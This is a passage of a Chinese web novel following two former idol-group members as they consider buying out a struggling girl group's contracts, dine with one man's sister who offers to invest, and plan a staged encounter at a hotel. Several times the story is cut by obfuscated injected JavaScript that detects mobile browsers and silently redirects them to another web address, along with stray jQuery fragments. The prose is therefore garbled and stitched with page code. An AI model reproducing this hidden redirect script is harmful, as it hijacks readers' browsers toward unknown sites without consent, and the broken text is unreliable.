l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603946|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >去超市的路上,左思珈的电话就打来了。 从《爱与不爱之间》火了之后,左思珈可就没闲着,往年的好作品再次被翻出来,营销号更是将她说成低谷期不断努力,抓住机会一夜翻身的大女主。今年她忙着开演唱会,上次联系还是过年的时候发的拜年信息。 “喂,左老师。”许稚舒接上电话,顺手把车上的音乐调小了些。 “稚舒,盖留的事你看到了吧?”左思珈直奔主题,没办法,她今天演唱会彩排,这是挤了点时间联络许稚舒。 “看到时了,你那边受到影响了?”许稚舒最先想到的就是这个。不过左思珈跟盖留娱乐没有关系,好像也不应该。 “我倒是还好,但我之前在选秀节目上认识一个妹妹,人真的不错,她签在了盖留娱乐。这事一出,小姑娘整个人都崩溃了,她们团的所有的合作都被取消了,团内也乱成一锅粥。刚找我哭诉了一番,希望我能作为前辈给她一些建议。我没经历过这种事,实在帮不上,可又实在不忍心,思来想去就给你打个电话。”左思珈并不是那种一句话能绕三个弯的性格,所以有什么就说什么了。 “盖留的艺人的确受影响还挺严重的。红的不红的,现在都被怀疑存在非法交易,的确很难搞。”许稚舒想着左思珈来找他,肯定不是跟他讨论这些八卦的,于是问:“我有什么能帮上忙的吗?” 就目前来看,盖留的老板是在国外犯的事,国内公司目前没查出任何问题,所以许稚舒还是愿意站在同情那些艺人的角度上的。 “我知道我这么说有些异想天开,但我思来想去,能帮她们的可能只有路家二少了。而能跟路二少说上话的,我认识的人里只有你。”左思珈说。 “路煌?”许稚舒转头看了一眼在开车的路煌。 路煌听到自己的名字,也转过头来看了一眼许稚舒。 许稚舒随手把手机按成免提模式,就听左思珈在那边道:“我是这么想的,现在这个情况,盖留的艺人应该没有公司愿意接手。而且我听那个妹妹的意思,他老板家里想捞人,手里的现钱不够,可能有意把公司连带着他们这些艺人的合同一起卖了。 “如果卖给一个无良的老板,那妹妹那个团就算之前没什么事,以后也很难讲。所以我在想,如果路二少能以初黎的名义把妹妹那个团买了,还能给她们这些女孩子一条活路。 “我知道可能性很低,可我也想帮妹妹试一试。你看如果可以的话,能不能帮着问问路二少?要是不成也就算了,至少我帮着努力联系过了,不然我心里过意不去。” 路煌没有做声,只是给了他一个由他安排的眼神。 许稚舒心领神会,说:“情况我了解了,这样吧,你把那个妹妹的资料先发给我,我找机会给路煌看一看。你也知道,团的风格也得跟公司的能力对上才行。等路煌那边回我消息了,我再联系你。” “那太好了!”许稚舒没拒绝,对左思珈来说就是意外之喜了,“我马上问妹妹要资料,直接发你邮箱。给你添麻烦了,无论这事能不能成,都算我欠你一个人情。” 许稚舒笑着说她太客气了,并祝她演唱会顺利,这才挂了电话。 随后他问路煌:“你觉得可行吗?” 路煌没直接回他,只说:“先看资料吧,我虽然同情盖留的艺人,但初黎现在也只是不亏本,还没到大赚的程度,收一个团难度不小,需要认真考虑。” 36.第36章 采购完回到家,许稚舒去厨房做饭,路煌则用电脑打开了许稚舒的邮箱,查看左思珈发来的邮件。 天还冷着,许稚舒准备做一个砂锅煲,没有什么技术难度,把食材丢进去煮,再简单调个味就行。 路煌向他提过请一个阿姨来帮忙,但许稚舒拒绝了。他不喜欢家里有其他人,如果实在需要有人帮忙打扫,他会请小时工。 没出四十分钟晚饭就做好了。 “吃饭吧。”许稚舒叫路煌。 路煌应声站起身,随手摘掉许稚舒的看电脑时戴的防蓝光平光镜,来到餐桌前。 “真丰盛啊。”路煌笑说,虽然只有一个砂锅煲,但里面的菜色实在多,吃东西都像是在寻宝。今天的主食是米饭,油亮的米粒看着就很有食欲。 路煌先给许稚舒盛了一碗,这才盛自己的。 两个人即便离开了舞台,多年的吃饭习惯却很难改,大部分时间吃得比较干净简单,偶尔的放纵餐才会显得格外好吃。 “看得怎么样了?”许稚舒问他。 “是To ver组合,你应该听过的。左老师的朋友是她们的主唱,艺名叫多萝。” 许稚舒恍然:“是她们啊。” 这个组合出道已经有四年了,人气不算低,但又够不上第一档的,处于一个很尴尬的地位。就算放在盖留娱乐内部,她们都不算资源主倾斜的团体。 路煌分析道:“To ver一直走清纯甜美路线,这样的风格会有一批死忠粉,每次回归数据也都不难看,但想扩粉很难,清纯风刚看是个新鲜,四年了还是这个风格,就会审美疲劳。 “多萝作为主唱,声线不算圈里最顶的,但声音很甜,辨识度有。可这个团人太多,个人的商业价值几乎没有,只有几个团代言,给的名头也不够高,不算优势。 “从这几个方面衡量,把To ver的合约全买下来,不是一笔划算的买卖。你应该很清楚,对艺人来说,代言和各种品牌活动才是收入的大头。” 路煌并不是站在恋人的角度上跟他聊这件事,而是作为合作人的角度谈的。或许没有这个必要,可路煌觉得以初黎现在的资源分配,即便To ver签进来,优先级也不会高过Breeze。届时如果资源跟不上,粉丝们肯定不买账,还容易生出阴谋论,好事也会变坏事。 许稚舒完全能理解:“的确,同情是一回事,如果给不了相应的资源,对这些女孩子们来说也是伤害。” 热乎乎的汤下肚,两个人从胃肠到身体都很舒适,说话的气氛也如晚饭一般暖暖的,即便内容会让人觉得很难办。 路煌挑着砂锅里的鱼丸:“不过可以让人打听一下盖留那边出合同的心理价位。如果盖留急于拿钱,愿意让利,倒也可以考虑。就怕现在做主卖盖留娱乐的人为了利益最大化,不但不降价,还要狮子大开口,就很麻烦了。” 各种可能性都有,所有人也都希望自己的有利可图的那一方。这中间的博弈除了要看谁能沉得住气,可能还需要一点运气。 “有时候想想娱乐圈真的是很残忍的地方,如果是一线艺人遇到这种情况,肯定有得是公司愿意帮忙解围。可二线及以下的就很难了,指望不上自己,恐怕也指望不上别人。”每到这种时候,许稚舒就会觉得自己真的很幸运了,至少在音乐事业上,他真没吃过什么苦。 路煌其实是想把这件事办好的,毕竟左思珈托到了许稚舒这里,他就是看许稚舒的面子,也不能掉链子。但To ver到底能创造多少价值,他真的不好说。他就算不差钱,也不可能让钱打水漂。 暂时定不下来,这件事就只能走一步看一步了。 * 两个人跟路千瑗约饭原本是定在一个吃漂亮饭的餐厅。和许多女孩子一样,路千瑗是个爱吃漂亮饭的。她喜欢拍照,但不喜欢发朋友圈,她不乐意跟外人分享生活,只是自己翻看的时候会很开心。 但因为盖留老板的风波现在仍未过去不说,还有不少自称“知情人士”的出来各种爆料,无法确定是真实的还是蹭流量的,总之一时半会儿这件事过不去,所以为了不被拍到,引起不必要的话题,漂亮饭直接改成了盛夏会馆吃饭。 许稚舒和路煌是分开过去的,许稚舒自己开车先到,路煌则是去接了路千瑗一起过去,路千瑗会开车,但并不喜欢开,大多数时候是能蹭就蹭。 “许先生,我们刚进了一批好酒,没有多少量,您看您需要吗?”服务生把新进的酒单递给他。 许稚舒慢慢翻看着,之前在国外跟杨观去买酒的时候,被科普了不少知识。就算记不全,牌子他还是能记住几个的。正好会馆的新酒单上就有。 许稚舒指着其中一款,说:“这个我要两支,帮我存着,今天不喝。再帮我关联到路二少的账户上,如果他过来,可以随时取用。” “没问题。”服务生爽快地说,“您眼光真好,这款酒就只剩两支了。” 许稚舒微笑着点点头,他原本想关联给杨观的,杨观也是这里的会员。只不过他和杨观的会员卡没有关联过,现在去办恐怕会让人知道他们的关系,就作罢了。 随后许稚舒又点了菜,看过时间后,说:“十五分钟后开始上菜。甜品和水果饭后再上。” “好的。那我先出去了,您有事叫我。”服务生微笑着退了出去。 等了没一会儿,还没等来路煌他们,就先等来了乐言的电话。 “哥,你去盛夏会馆了?”乐言那头直接就问了。 “你怎么知道?”许稚舒很意外他居然知道。 乐言无语又怨念地说:“也不知道那些记者是怎么想的,蹲不到别的爆料,居然跑去蹲盛夏会馆了。你的车正好被他们拍到,现在已经开始搞胡编乱造那一套了。” 许稚舒没生气,反倒是无语笑了:“他们就这么闲?” 会馆周围是不允许随意拍照的,但稍微离远一点,会馆也实在是管不上。只是正常来说,没有人会蹲这里,弄不好就是得罪人,真遇到个厉害的,源海市就不用待了。 “现在盖留的事闹得这么厉害,大家都想看花边新闻。没有真花边就硬蹭,反正谁流量大,都会成为目标。盛夏会馆那种销金窟,总容易被和花边新闻绑一起。”乐言知道的消息可比许稚舒多得多,但也不都保真。 许稚舒想了想,说:“随他们吧,只要别是特别离谱的,我们也没必要非得搞那么大阵仗。” 他很清楚,一开始所有人都会有窥探欲,但时间一长,真假新闻掺多了,大部分人就不想成为别人流量的提供者了,从而对盖留之外的相关猜测保持无视的态度,届时流量重新集中,花边新闻就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许稚舒也随之落座,路煌则坐到了许稚舒的左边。 这时,服务生敲门开始上菜了,时间刚刚好。 有外人在,路千瑗倒是不说话了,可眼睛总不时往许稚舒脸上瞄,就像一个昏君,看到美人就心生愉悦,什么都不想干了。 她见过的好看的人不少,包括她的两个兄长也都是难得的帅哥。可许稚舒跟她接触过的好看的人不一样,他身上有一种很沉的气质,她在这种“沉”里看到的不是思虑缜密的那种沉稳,而是带着忧郁的谨慎。 倒是在路煌跟许稚舒说话时,这种“沉”就不见了,取而代之的是鲜活、温柔,且都是很有力量的那种。 她觉得许稚舒跟她其实是有点像的,就是人前人后两个样,对待自己亲近的人,才愿意拿出柔软的一面,其他时候是有一层壁的。这个壁不见得是冷淡,也可以是温柔的笑脸相迎,但就是能隔出一层距离,让人接近不了,却又挑不出错。 于是她将许稚舒归为“有意思”那一类人,不是幽默,是让人想深探。 路煌见她总看许稚舒,伸手在她眼前晃了晃,说:“别总盯着他看。” 路千瑗不客气地说:“就许你看呀?” “对,就许我看。对你哥的另一半请保持距离。”路煌幼稚起来。 “对不起,不能够。”路千瑗根本没给面子,笑着对许稚舒说,“我二哥可无趣了,还是咱们俩聊天吧,不理他。” 37.第37章 对于路千瑗这样出身的,尤其还是女孩子,只要家族教育和生长环境是正的,很难养出无知且没有素质的孩子。路千瑗肯定会有一些大小姐脾气,可跟她说话能感觉到她本身的性格很好,很有主意,对方对她友善,她也能抱以善意的对待,这样就很好了。 菜上齐,路千瑗并没有像往常一样拍照。这里的菜品卖相不差,而且分量都很大,但对于她来说还是不够漂亮。她的漂亮饭都是摆盘好看,量小,至于味道,好看就行了,要什么味道?所以像这种量大的,就不符合她的要求,好吃的饭菜吃就行了,不用拍照。 “也不知道你喜欢吃什么,路煌说你不太挑食,我就按自己觉得好吃的点了。”许稚舒帮她揭开鸽子汤的盖子,汤品一人一小盅,既不浪费,又不会因为一碗汤就吃个半饱。 “我都可以的。”路千瑗提起筷子,没有矜持地开始吃饭。 路煌给许稚舒夹菜,他知道许稚舒喜欢吃什么,也希望他能多吃点。 路千瑗不时看看他们两个,看起来是路煌一直在照顾许稚舒,但实际上给许稚舒夹的菜路煌都会先尝过,确定味道不错,才会夹给许稚舒。所以路煌也没少吃。 晚饭两个人主食吃得少,一碗米饭两个人分了刚刚好。 许稚舒倒是更注意路千瑗的用餐,怕她吃不好,又不好意思说。 其实路千瑗吃得挺开心的,有美人下饭,心情就更好了。 “你写的新歌我都听了,真的很好听。初黎推出的男团也不错,至少现在不觉得歌荒了。”路千瑗和大多数人一样,没事会喜欢听音乐,不需要多专业,只凭自己的喜好听。 “我刚出来单干没多久,打出来的基本都是保守牌,没有做特别大胆的尝试。”许稚舒不会因为路千瑗在音乐上不专业,就敷衍她。还是有什么说什么。 “什么事都是一步一步来的嘛。你们团解散后,我还挺遗憾的。其实我是Infinite的粉丝。当然了,我不粉我哥的。”路千瑗笑说。 “你是Infinite粉丝?”路煌比许稚舒先发出疑惑,“我怎么不知道?” “我不想让你知道,你肯定不会知道啊。” “所以你是白嫖?”路煌对白嫖没意见,每个人都应该根据自己的经济能力消费娱乐项目,可他妹妹是不缺钱的,白嫖就说不过去了。 “胡说!我买过专辑的。”路千瑗非常硬气,一看就没说谎。 “我没看见。”路煌从容地跟妹妹拌嘴,也从容地给许稚舒夹菜。 许稚舒笑看着,并不插话,兄妹两个拌嘴说着玩,不用太当真。 “那说明你对我的关心太少了。”路千瑗找到一个刁钻的角度,把责任全推给路煌了。 路煌耸耸肩,完全没有要让着妹妹的意思:“你说不粉我,那你粉谁?” 看路千瑗今天的表现,似乎也不是粉许稚舒的。 “我不跟你说。”路千瑗不理路煌了,又把目光转到许稚舒身上,说,“我看你跟贺漾有音乐上的合作,也去给纪西卓探过班,但跟单长清一点互动都没有啊,是关系不好吗?” 这个问题如果是记者问的,许稚舒和路煌肯定都会警惕着回答,但路千瑗问,明显就只是想知道了。 许稚舒笑说:“时间安排不开。他现在走综艺路线,除非他在源海市,否则的确很难安排见面的时间。” “他过年期间上的那个旅行综艺你们看了吗?”路千瑗问。 “看了,和你二哥一起看的。还挺治愈的。”许稚舒想到那个综艺,不禁心情舒畅。这个综艺拍得非常好,人员配置好,风景也好,看完会让人心里暖暖的。尤其像他和路煌分开刚和好,看这样的综艺不仅能消弭分手期间的难受,还能让他们在被治愈的同时更珍惜当下,对未来的旅行也会开始规划。 “是吧?我也看了,画面拍得真好。成员们的相处也很放松,单长清很会带气氛,好像有他在,什么都不用操心。”路千瑗说得真情实感。 许稚舒:“长清一直是一个非常会规划的人。当初我们一起出去演出,演出结束跟航班之间可能还有半天或者一天的时间,都是他说去哪儿,我们就跟着去。从来没踩过雷。” “那可真厉害。”路千瑗感叹,“不过能有这种效果,也是因为你们都不是扫兴的人。” “没什么好扫兴的,有个人愿意操持,我们省心了就很好了。”许稚舒想到一起打拼的时光,还是觉得很有趣。 一直没说话的路煌敏锐地觉察到什么,开口道:“所以你在我们团追的是单长清?” 路千瑗没回答,更像是默认了。 许稚舒笑道:“长清人很好,也善谈,跟你二哥很聊得来。” 路千瑗看了路煌一眼,然后又笑看着许稚舒:“能不能帮我弄两张单长清的签名照?我知道的,很多明星的签名照都是助理代签的,我要他亲签的。” “这有什么难的?晚点我给长清打个电话,让他寄几张来。”许稚舒说。如果单长清在源海市,他让乐言去取就行。不过他目前了解到的,单长清并不在。 “谢谢。”路千瑗笑得挺开心,这会儿倒更像是追星女孩的样子了。 路煌并不笑话她,妹妹追星单长清,总比追那些黄毛艺人强。 “你追星追得怎么连张签名照都没有?”路煌疑惑。 路千瑗哼了一声说:“你们的见面会我敢去吗?去了百分之百被你认出来。我可不想听啰嗦。倒是有倒卖你们的签名的,不过那不是只签给我的,我不要。” “小丫头要求真多。”路煌无奈地摇摇头,对于妹妹的挑剔,他并不觉得不好。 “对了,听大哥说初黎娱乐还是交给你。我知道这个公司,本来也不赚钱的。现在怎么样?不会还赚不到钱吧?”路千瑗挺操心。现在二哥不管家里的公司了,估计也不用家里的钱了,她非常担心二哥钱不够花。 “还行,勉强收支平衡吧。”路煌没糊弄她。等路千瑗毕业了,就算不进家里的公司,也会自己做点生意。路家不会允许孩子无所事事,哪怕赚不到钱,也得做些事情,不能在家躺着,也不能学那些整天只会攀比炫富的二代们。他提前跟路千瑗说一说,让她知道赚钱不容易,也不是坏事。 路千瑗神秘地一笑,说:“我给你做投资怎么样?” “你?”路煌没掩饰诧异,他知道路千瑗手里是有些钱的,但没想到小丫头想做投资,还投他这儿来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617608|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对啊。钱放在那儿吃利息效率太低,我一直在考虑做些投资。与其投那些不确定性大的项目,倒不是投初黎。”路千瑗表情认真,“初黎体量本来就不大,现在正在上升期,就算现在没赚到什么钱,但你们两个只要持续合作,我就很看好初黎的未来。如果初黎现在已经开始大赚,你肯定看不上我这笔钱,就算愿意让我投,也是看在我是你妹妹的份上。我可不想这样,我想看看我的眼光怎么样。” 以初黎现在的情况,其实并不急迫地需要外来投资,只要Breeze回归期表现稳定,那么今年初黎肯定会有盈利。 但路煌对初黎的期待可不止做一个Breeze,既然他不准备动自己的钱,那有个投资人的确是个不错的选择。 “投资可以,但只能拿分红,不能参与管理和决策。”路煌直言。 “没问题。”路千瑗很爽快,她本来也不想管,只想赚钱。 许稚舒看向路煌,觉得他这个决定是不是应该再考量一下。毕竟听路千瑗的意思是刚开始搞投资,带妹妹做一个收益确定性高的项目不是更好吗?音乐市场真的不是最优选。这跟他对自己的作品有没有信心是两码事,音乐市场的不确定性还是很高的。 “那你明天来公司,我们详谈合同。早点谈完,你早点回去上学。”路煌雷厉风行地把时间定下了。 “行。”路千瑗应了。 路煌微笑着对许稚舒道:“现在有钱买To ver的合同了。” 他大概能猜出路千瑗会投多少,对To ver的合同价位也有预期。虽然具体价格还没打听出来,但超过这个数,他肯定不会要,就看怎么谈了。 许稚舒则惊讶于路煌真的把To ver的事放在了心上。原本他都准备放弃了,没想到路煌通过路千瑗,居然找到了机会。 路千瑗不明所以。 路煌说:“你回家好好了解一下To ver这个组合,明天到公司我跟你细聊。” 路千瑗点头表示同意,随后这个话题结束,路千瑗又像个追星小女孩子一样跟许稚舒打听起了单长清的各种八卦新闻是真是假。没有涉及单长清的隐私,许稚舒还是很乐意说的。 一顿饭吃完,三个人都很开心。 分开前,路千瑗对许稚舒道:“不管我家里怎么样,我是支持你和我二哥的。你们要好好的,下半年我就回来了,到时候有什么事,我都能帮上你们的忙。” 即便只是妹妹,许稚舒和路煌的感情也是得到一位路家人的认可和支持了。这对许稚舒来说很安慰,也很高兴。 “谢谢。”许稚舒笑说。 “别客气,应该的。我家的老传统也该改改了。”路千瑗跟许稚舒站得很近,显示着亲近的意思,“如果上半年你想旅行,就来找我玩吧。我带你去逛,肯定靠谱。” “好,我记下了。”许稚舒应道。 两个人交换了联系方式,路千瑗先一步离开。路煌要先送路千瑗回去,再回许稚舒那里。 许稚舒是稍微等了十分钟才离开的,他的车已经被拍到了,和路煌的车紧挨着一前一后离开,即便路煌的车记者不认知,也容易被怀疑是一起的,多防一层肯定没错。 38、第38章 第38章 回家的路上, 因为前面发生了交通事故大堵车,许稚舒只能下桥绕路,等路煌送路千瑗回来, 他刚洗完澡, 头发还没吹。 “我去会馆的时候,被蹲在附近的记者拍到了。”许稚舒纯是当笑话讲的, 他没看热搜, 既然乐言没再来电话,肯定没多大事,估计能在下面狂欢的都是看热闹不嫌事大的。至于说了他什么,不用想也能猜到。 “真是想抢流量想疯了。”路煌一整个大无语,“需要帮你撤热搜吗?” 许稚舒没有犹豫地说:“算了,不想给别人送钱。” 路煌笑说:“开始精打细算了?” 他不管家里的公司后, 收入骤然下降。许稚舒虽然手握爆曲,还有Infinite时期一些歌曲的版权, 但肯定没有在团时期赚得多。不过两个人都有存款,还不至于揭不开锅。 “对啊, 过日子可不是就得精打细算吗?”许稚舒玩笑道, “你自己不也一样?你妹妹的投资你也规划得挺周到。” “物尽其用。这也只是一个打算,还得盖留那边肯卖才行。”作为老板,路煌不是拍脑袋就做决定的人, 他会考虑得比较多。 许稚舒见时间不早了, 就催他先去洗澡,家里虽然暖和,但从外面回来,身上多少带着凉气,如果能冲个热水澡, 会更加舒适。 另一边,路家—— 陈玉欣看到热搜上关于许稚舒的消息,心中不满。觉得那些记者是见人下菜碟,抢不到新闻就挑软柿子捏。 因为是在盛夏会馆附近被拍到了,等路煊忙完回到卧室,她就跟路煊提了这件事。 路煊皱眉,说:“盖留娱乐的事我也听说了,现在记者们追新闻追得凶,真是哪儿都敢拍。” “稚舒实在是无妄之灾了。”她知道今天晚上路煌接了路千瑗去跟许稚舒吃饭。原本她有考虑一起去,不过想想让路千瑗单独去更好一些,他们四个可以再约时间。有些话当着路千瑗的面,她怕说着不合适。 路煊点点头:“你先睡,我给会馆打个电话,让他们多留意些,别砸了招牌,让客人不敢去了。” 说罢,路煊就拿着手机出去了。 盛夏会馆那边联系完,路煊考虑了片刻,又给路煌打了电话。不是想问他们今天和路千瑗吃饭怎么样,而是想问问最近他和许稚舒过得怎么样。 路煌刚吹完头发,路煊的电话就打来了。 路煌接通:“喂,哥?” “没打扰你休息吧?”路煊笑问。听路煌的语气很有精神,他就安心了。想到时路煌年前的状态,他心里就堵得慌。 “没有,刚回来。”路煌去卧室门口看了一眼,发现许稚舒已经躺下了,估计是睡着了,他便轻声合上房门,在客厅讲电话,“这么晚打电话来,有事?” “没什么大事。你嫂子看稚舒上热搜了,我问问需不需要帮忙。” “没事,没影的新闻明天早上应该就下去了。” 路煊:“行。初黎经营得还顺理吗?” 既然路煊问了,路煌就把路千瑗想投资的事跟路煊提了。他是想着万一哪天爷爷不愿意让他管初黎了,届时也会知道路千瑗投资的事。不如他先跟大哥提一句,万一真有这么一天,这笔钱怎么安排他大哥心里也有数。 路煊听后轻笑:“小丫头还挺有主意。也好,和别的项目比起来,娱乐公司的投资的确更合适,她能有这个意识,愿意尝试,还是得支持。” “嗯,明天我让她到公司谈合同。”路煌说。 “行,我安排个律师跟她一起过去。”他知道路煌是不可能坑路千瑗的,让她带律师去是熟悉流程,了解合同里的重点内容,这些都会成为经验。 “好。”路煌应道,随后又问,“家里都还好吗?” “放心,都挺好。爷爷已经出院了。前两天奶奶还问起你,怕你在外面吃苦。”路煊说。 路煌笑了笑:“我挺好的,你让她放心吧。”电话他就不亲自打了,以免爷爷知道,以为他是想服软,再扯些没必要的事。 挂了电话,路煌把客厅的灯关上,才轻手轻脚地进了卧室。 许稚舒果然已经睡着了,只留了盏台灯。 路煌上床关灯,躺下后伸手轻轻将许稚舒搂住。 许稚舒下意识地握住他的手。两个人贴在一起,似乎一丝空气都挤不进来,谁也别想让他们分开。 路煌扬了扬嘴角,抱着许稚舒安心睡去。 一夜好梦。 早上,两个人坐在桌前吃早餐时,才在热搜上得知昨晚To ver中的四名成员在路上发生了交通事故,其中一人腿骨折,剩下三人都不同程度地受了皮外伤。 这下彻底引爆了所有理智粉和路人的讨伐,官方通报交通事故是因为记者追车导致的。这样危险的举动,不被全网骂就怪了。 “我昨天回来是绕路的,桥上发生了事故,没想到居然是To ver的成员。”许稚舒不知道是感慨多一些还是惊讶多一些。但无论哪一种,追车的行为都是应该被明令禁止的。 路煌边吃煎蛋边看详细报道:“腿骨折了估计得养挺长时间,这或许是个机会。” 人家小女孩都骨折了,路煌却像是在说风凉话一般,让别人听去肯定会觉得他不是人。但听在许稚舒耳朵里,就自动跳出了“机会”两个字。 两个人相视一笑,不需多言。 饭后,路煌去公司,今天他的主要任务就是见路千瑗。许稚舒则去了工作室,算上周末,他为了避风头已经休息四天了。但该被拍还是被拍,避了个寂寞。 “哥,昨天初黎那边发来邮件,他们开始准备Breeze的回归了,想正式签《嬉闹》这首歌。”乐言给他送来咖啡,并向他汇报着工作。 “行,那首歌我当初说半价卖给他们,就按这个价卖。”许稚舒没忘自己当初承诺的。 “好的。” 乐言离开后,许稚舒给左思珈打了电话。从左思珈拜托他关于To ver的事后,他一直没回话。初黎那边也没有跟成员多萝联络,估计初步是什么结果,两个人心里都有数。 现在有机会争取一下,许稚舒觉得无论成不成,都得跟左思珈说一声。 左思珈那边很快接了电话,两个人寒暄了一会儿,许稚舒把“联络”路煌的情况跟左思珈说了,也明说了初黎现阶段的难处。 左思珈表示理解,公司资金周转不过来也是没办法的事。这不是短时间内旗下艺人疯狂演出就能赚足的,何况Breeze还没有达到能凭一己之力撑起一个公司的程度。 坏消息说完,许稚舒话锋一转,说:“我今早看到To ver成员出交通事故的新闻,我觉得这或许这个机会……” 说着,他把自己的想法跟左思珈说了。 左思珈听完,先不管能不能行,至少值得一试。这或许是To ver最后的机会了。 “行,我帮你打听一下行程。”左思珈人脉广,打听一下行程还是有门路的。 “好,那就麻烦你了。” 左思珈笑说:“你这话说的,明明是我麻烦你,还让你这么上心。不管能不能成,我都谢你。” 挂了电话没多会儿,路煌就给他发来了消息,说向盖留打听To ver合同的事刚传来消息,说对方不想单卖To ver,要跟公司捆绑。 这不算好消息,可对许稚舒来说,也不算坏消息。至少对方没有狮子大开口,那之后就好谈了。 没到中午,左思珈就给他发消息来了。说盖留老板的妻子现在住在市中心的六星酒店。因为家里已经被记者围了,她只能出来住。不过对方一直待在酒店里,并没外出。 同时,左思珈还发来了对方的照片和简短的个人信息。 许稚舒反手就去酒店订了个套房,想制造偶遇,总要花点经费。好在这家酒店的套房是黑金级会员才能订的,不是随便什么人都能入住,许稚舒恰好会员等级够,随时订房都有空房。 说来也挺好笑的,他的会员之所以能升到黑金,不是因为入住的次数多,而是因为他和路煌常去吃那里的日料,频繁到两个人都吃够了,甚至于想起来都会觉得腻的程度,算来也有两三年没去过了。没办法,那家日料预约的话要排至少三个月,可如果是酒店会员,就可以订当日的。 订好房间,许稚舒随手给路煌发了房号。 路煌打过来一个问号。 许稚舒笑着回他语音:“跟你约会,行不行?” 对许稚舒来说,约会是假,去酒店跟盖板老板娘制造偶遇是真。可对路煌来说,无论许稚舒打得什么主意,他都把两个人约会的优先级排得最高。 所以当晚去酒店与许稚舒汇合时,他特地带了鲜花。 收到花的许稚舒很意外,他本来就是闹着玩说要跟路煌约会的,没想到路煌这么认真。 许稚舒当然也没有破坏这样的好气氛,笑着收下花:“明天带回家养着。” “好。”路煌脱掉外套,又把许稚舒重新拉到身边,低头在他唇上留下一个吻。 亲密但不黏人,是他们习惯了的相处方式。 “我预定了这里的日料,好长时间没吃了,我看他们更新的菜单,应该会有点新鲜感。”许稚舒打听到盖留老板娘在酒店常去的餐厅就是这家日料和楼上的酒吧。 “好。” 两个人按预约时间准时来到店内,这边只有板前的位置,方便客人能够直观看到料理的过程,有什么问题也能第一时间跟主厨沟通。 落座后,服务生送来今日餐单。店里果然上了不少新品,两个人就当来尝鲜了。 “喝点酒吗?”路煌问。这里的清酒味道还不错,小酌一杯更有气氛。 “行啊,来一杯,你挑吧。”在挑酒上方面,还是路煌更在行一些。 冰过的酒被装在别致的小杯子里送上来。 “干杯。”许稚舒举起杯子。 路煌笑着与他轻轻碰了一下,就这么一杯酒,两个人不可能一口闷掉,所以只是浅浅喝上一口。酒劲儿不大,很好入口,冰过的酒液有一股沁凉,不冰人,喝着很舒服。 天妇罗拼盘送到两个人面前,炸得薄脆的面衣带着油香,新鲜的食材本身就能解腻,再配上蘸汁或者盐,就更有风味了。 许稚舒喜欢这个,吃得很开心。路煌则更喜欢师傅现捏的寿司,拼盘没吃几个。 “合同谈得顺理吗?”许稚舒主动问起。这里大家说话声音都很低,不会影响到别人,也不会显得沉闷无聊。 “还不错。我跟千瑗直说了她如果投资的话,资金的用途。她了解过那个女团后,很乐意帮一把。”路煌说。 “她是好心,你可别让她的好心打了水漂。”许稚舒站在一个理性的角度看,投资一定是要看回报的,其中不应该有同情的成份在,这才是一个理性的投资者。当然,人不可能每一笔投资都是完全理性的,有时也会存在人情世故,或者个人情绪,但作为一个刚开始投资的人,许稚舒认为理性一定是应该大于感性的。 “小丫头精着呢。她说她的资金用于这个女团可以,但转公司后的第一首歌必须你来操刀。”路煌笑说,他家人哪有傻的?同情是一方面,这是心善,但也不可能全然不顾利益,又不是做慈善。 许稚舒失笑:“所以压力来到我这边了?” “对。”路煌坦言,“其实就算她不提,我也是这个意思。今年上半年公司的重点会放在Breeze身上。如果能签下她们,我认为引用公司外人员操刀的合作的方式做这个团会更好一些。不能让人觉得我是在拿Breeze赚到的钱养别的团,这样人心容易散。” 就算他并没有这样做,三人成虎,但凡有这样的猜测,肯定会在Breeze成员心里种下一个疑影。好不容易有起色的公司也容易人心浮动。都是年轻人,都渴望更好的发展,因疑生变的例子比比皆是,他不会冒这个险。 所以路千瑗的投资对他来说是非常好的机会。既可以有足够大的机会收购一个女团,又可以很好地安抚公司内部。另外,还能让别人知道许稚舒在他这儿足够有面子,一举三得。 “你考虑得很周到,不愧是当老板的人。”许稚舒不是笑话他,却也带了几分打趣的意思。 “是因为把你绑回来了,我才有底气这么做。”他是无条件信任许稚舒的能力的,就算翻车,他也相信许稚舒能把车再翻回来。 “不要把我抬得太高,我要是登高跌重,你可得负责安慰我。”对着路煌,许稚舒可以把不自信的那一面展现出来。 “我肯定接住你。”路煌轻握了一下他的手。 师傅递来海胆手卷,两个人接过来,因为料很足,两个人一时都没再说话。许稚舒留意了一下在座的客人,并没有发现盖留的老板娘,看来对方今天会来吃日料这个信息并不准确。 许稚舒收回视线,喝了口酒,这会儿酒的温度已经升上来一些了,入口的凉感也淡了。 路煌:“如果今年初黎收益可以的话,年底我想买套房子。” “还买?”许稚舒知道路煌并不缺房子。 路煌浅笑着看他:“买个套属于我们两个的房子,写我们两个的名字。” 许稚舒下意识地抿嘴一笑,没有拒绝。 路煌继续说:“我想挑一个安保更好的地方,房子也想要再大一些。或者你想住别墅吗?” 既然是两个人的房子,肯定要商量着来。 许稚舒摇摇头:“我喜欢高层。” 他喜欢能看远景的房子。现在他住的这个楼层就不算低了,但由于原本就是按他一个人居住设计的,导致现在路煌住进来,连个多余的衣帽间和书房都没有,路煌的办公地一直是客厅。 “好。我不想住太郊区的地方,还是选市内可以吗?”路煌继续争取意见。 “可以。”这点许稚舒是不挑的,这样半夜他们想出门吃个夜宵的话,也不需要太费事。 直到两个人吃完饭,许稚舒也没看到盖留老板娘出现。不死心的他开始考虑是不是要去楼上的酒吧坐一坐。 